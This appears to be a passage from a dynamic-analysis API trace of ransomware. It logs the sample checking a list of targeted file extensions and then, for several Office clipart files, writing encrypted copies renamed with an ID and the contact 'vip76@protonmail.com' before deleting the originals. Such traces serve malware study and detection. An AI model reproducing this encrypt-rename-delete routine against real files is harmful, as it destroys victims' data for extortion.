	[0086.642] lstrlenW (lpString=".docx") returned 5
	[0086.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.642] lstrlenW (lpString=".pdf") returned 4
	[0086.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.642] lstrlenW (lpString=".xls") returned 4
	[0086.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.642] lstrlenW (lpString=".xlsx") returned 5
	[0086.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.642] lstrlenW (lpString=".ppt") returned 4
	[0086.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.642] lstrlenW (lpString=".zip") returned 4
	[0086.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.642] lstrlenW (lpString=".rar") returned 4
	[0086.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.642] lstrlenW (lpString=".bz2") returned 4
	[0086.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.643] lstrlenW (lpString=".7z") returned 3
	[0086.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.643] lstrlenW (lpString=".dbf") returned 4
	[0086.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.643] lstrlenW (lpString=".1cd") returned 4
	[0086.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.643] lstrlenW (lpString=".jpg") returned 4
	[0086.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.643] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.643] lstrlenW (lpString="FD00076_.WMF") returned 12
	[0086.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.644] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=11994) returned 1
	[0086.644] CloseHandle (hObject=0x364) returned 1
	[0086.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220
	[0086.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.644] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.644] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.645] GetLastError () returned 0x0
	[0086.645] ReadFile (in: hFile=0x364, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x2eda, lpOverlapped=0x0) returned 1
	[0086.647] WriteFile (in: hFile=0x36c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x2ee0, lpOverlapped=0x0) returned 1
	[0086.648] ReadFile (in: hFile=0x364, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.648] WriteFile (in: hFile=0x36c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.648] SetEndOfFile (hFile=0x36c) returned 1
	[0086.648] CloseHandle (hObject=0x36c) returned 1
	[0086.648] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.648] SetEndOfFile (hFile=0x364) returned 1
	[0086.649] CloseHandle (hObject=0x364) returned 1
	[0086.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.665] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1
	[0086.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.666] lstrlenW (lpString=".doc") returned 4
	[0086.666] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.666] lstrlenW (lpString=".docx") returned 5
	[0086.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.666] lstrlenW (lpString=".pdf") returned 4
	[0086.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.666] lstrlenW (lpString=".xls") returned 4
	[0086.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.666] lstrlenW (lpString=".xlsx") returned 5
	[0086.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.666] lstrlenW (lpString=".ppt") returned 4
	[0086.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.666] lstrlenW (lpString=".zip") returned 4
	[0086.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.666] lstrlenW (lpString=".rar") returned 4
	[0086.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.666] lstrlenW (lpString=".bz2") returned 4
	[0086.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.666] lstrlenW (lpString=".7z") returned 3
	[0086.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.666] lstrlenW (lpString=".dbf") returned 4
	[0086.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.666] lstrlenW (lpString=".1cd") returned 4
	[0086.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.666] lstrlenW (lpString=".jpg") returned 4
	[0086.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.667] lstrlenW (lpString=".doc") returned 4
	[0086.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.667] lstrlenW (lpString=".docx") returned 5
	[0086.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.667] lstrlenW (lpString=".pdf") returned 4
	[0086.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.667] lstrlenW (lpString=".xls") returned 4
	[0086.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.667] lstrlenW (lpString=".xlsx") returned 5
	[0086.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.667] lstrlenW (lpString=".ppt") returned 4
	[0086.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.667] lstrlenW (lpString=".zip") returned 4
	[0086.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.667] lstrlenW (lpString=".rar") returned 4
	[0086.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.667] lstrlenW (lpString=".bz2") returned 4
	[0086.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.667] lstrlenW (lpString=".7z") returned 3
	[0086.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.667] lstrlenW (lpString=".dbf") returned 4
	[0086.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.667] lstrlenW (lpString=".1cd") returned 4
	[0086.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68
	[0086.667] lstrlenW (lpString=".jpg") returned 4
	[0086.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.668] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.668] lstrlenW (lpString="FD00090_.WMF") returned 12
	[0086.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0086.668] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=14194) returned 1
	[0086.668] CloseHandle (hObject=0x328) returned 1
	[0086.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220
	[0086.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0086.668] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.668] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.669] GetLastError () returned 0x0
	[0086.669] ReadFile (in: hFile=0x328, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x3772, lpOverlapped=0x0) returned 1
	[0086.677] WriteFile (in: hFile=0x378, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x3780, lpOverlapped=0x0) returned 1
	[0086.678] ReadFile (in: hFile=0x328, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.678] WriteFile (in: hFile=0x378, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.678] SetEndOfFile (hFile=0x378) returned 1
	[0086.678] CloseHandle (hObject=0x378) returned 1
	[0086.678] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.678] SetEndOfFile (hFile=0x328) returned 1
	[0086.679] CloseHandle (hObject=0x328) returned 1
	[0086.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.680] lstrlenW (lpString=".doc") returned 4
	[0086.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString=".docx") returned 5
	[0086.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.680] lstrlenW (lpString=".pdf") returned 4
	[0086.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString=".xls") returned 4
	[0086.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.680] lstrlenW (lpString=".xlsx") returned 5
	[0086.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.680] lstrlenW (lpString=".ppt") returned 4
	[0086.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.680] lstrlenW (lpString=".zip") returned 4
	[0086.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.680] lstrlenW (lpString=".rar") returned 4
	[0086.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString=".bz2") returned 4
	[0086.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.680] lstrlenW (lpString=".7z") returned 3
	[0086.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.681] lstrlenW (lpString=".dbf") returned 4
	[0086.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.681] lstrlenW (lpString=".1cd") returned 4
	[0086.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.681] lstrlenW (lpString=".jpg") returned 4
	[0086.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.681] lstrlenW (lpString=".doc") returned 4
	[0086.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.681] lstrlenW (lpString=".docx") returned 5
	[0086.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.681] lstrlenW (lpString=".pdf") returned 4
	[0086.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.681] lstrlenW (lpString=".xls") returned 4
	[0086.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.681] lstrlenW (lpString=".xlsx") returned 5
	[0086.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.681] lstrlenW (lpString=".ppt") returned 4
	[0086.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.681] lstrlenW (lpString=".zip") returned 4
	[0086.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.681] lstrlenW (lpString=".rar") returned 4
	[0086.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.681] lstrlenW (lpString=".bz2") returned 4
	[0086.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.681] lstrlenW (lpString=".7z") returned 3
	[0086.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.681] lstrlenW (lpString=".dbf") returned 4
	[0086.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.682] lstrlenW (lpString=".1cd") returned 4
	[0086.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68
	[0086.682] lstrlenW (lpString=".jpg") returned 4
	[0086.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.682] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.682] lstrlenW (lpString="FD00296_.WMF") returned 12
	[0086.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.683] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=15856) returned 1
	[0086.683] CloseHandle (hObject=0x378) returned 1
	[0086.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220
	[0086.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.685] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.685] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.686] GetLastError () returned 0x0
	[0086.686] ReadFile (in: hFile=0x364, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x3df0, lpOverlapped=0x0) returned 1
	[0086.696] WriteFile (in: hFile=0x36c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x3e00, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x3e00, lpOverlapped=0x0) returned 1
	[0086.698] ReadFile (in: hFile=0x364, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.698] WriteFile (in: hFile=0x36c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.698] SetEndOfFile (hFile=0x36c) returned 1
	[0086.698] CloseHandle (hObject=0x36c) returned 1
	[0086.698] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.698] SetEndOfFile (hFile=0x364) returned 1
	[0086.699] CloseHandle (hObject=0x364) returned 1
	[0086.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 1
	[0086.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.699] lstrlenW (lpString=".doc") returned 4
	[0086.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.699] lstrlenW (lpString=".docx") returned 5
	[0086.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.699] lstrlenW (lpString=".pdf") returned 4
	[0086.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.700] lstrlenW (lpString=".xls") returned 4
	[0086.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.700] lstrlenW (lpString=".xlsx") returned 5
	[0086.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.700] lstrlenW (lpString=".ppt") returned 4
	[0086.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.700] lstrlenW (lpString=".zip") returned 4
	[0086.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.700] lstrlenW (lpString=".rar") returned 4
	[0086.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.700] lstrlenW (lpString=".bz2") returned 4
	[0086.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.700] lstrlenW (lpString=".7z") returned 3
	[0086.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.700] lstrlenW (lpString=".dbf") returned 4
	[0086.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.700] lstrlenW (lpString=".1cd") returned 4
	[0086.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.700] lstrlenW (lpString=".jpg") returned 4
	[0086.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.700] lstrlenW (lpString=".doc") returned 4
	[0086.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.700] lstrlenW (lpString=".docx") returned 5
	[0086.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
